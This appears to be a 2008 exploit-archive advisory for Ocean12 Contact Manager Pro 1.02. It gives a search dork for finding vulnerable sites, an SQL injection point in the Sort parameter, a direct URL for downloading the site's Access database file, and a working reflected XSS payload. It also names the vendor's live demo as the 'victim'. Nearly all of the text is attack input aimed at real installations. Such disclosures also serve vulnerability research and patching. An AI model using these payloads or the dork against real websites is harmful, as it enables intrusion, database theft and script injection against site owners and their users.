Ocean12 Contact Manager Pro (SQL/XSS/DDV) Multiple Vulnerabilities

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Ocean12 Contact Manager Pro (SQL/XSS/DDV) Multiple Vulnerabilities
# Published : 2008-11-27
# Author : Pouya_Server
# Previous Title : Star Articles 6.0 Remote Blind SQL Injection exploit
# Next Title : Ocean12 Membership Manager Pro Database Disclosure Vulnerability

#########################################################
---------------------------------------------------------
Portal Name: Ocean12 Contact Manager Pro
Version : 1.02
Vendor : http://ocean12tech.com/products/contact
Dork: Maintained with the Ocean12 Contact Manager Pro v1.02
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Vulnerability : (DDV,XSS,SQL)
---------------------------------------------------------
#########################################################
[SQL]:
http://site.com/path/default.asp?DisplayFormat=Card&Sort=[SQL]
 
[Database Disclosure Vulnerability]:
http://site.com/path/o12con.mdb
 
[XSS]:
http://site.com/path/?DisplayFormat=>"><ScRiPt>alert(1369)%3B</ScRiPt>&Action=Pouya_Server
---------------------------------
Victem :
http://ocean12tech.com/products/contact/demo

# www.Syue.com [2008-11-27]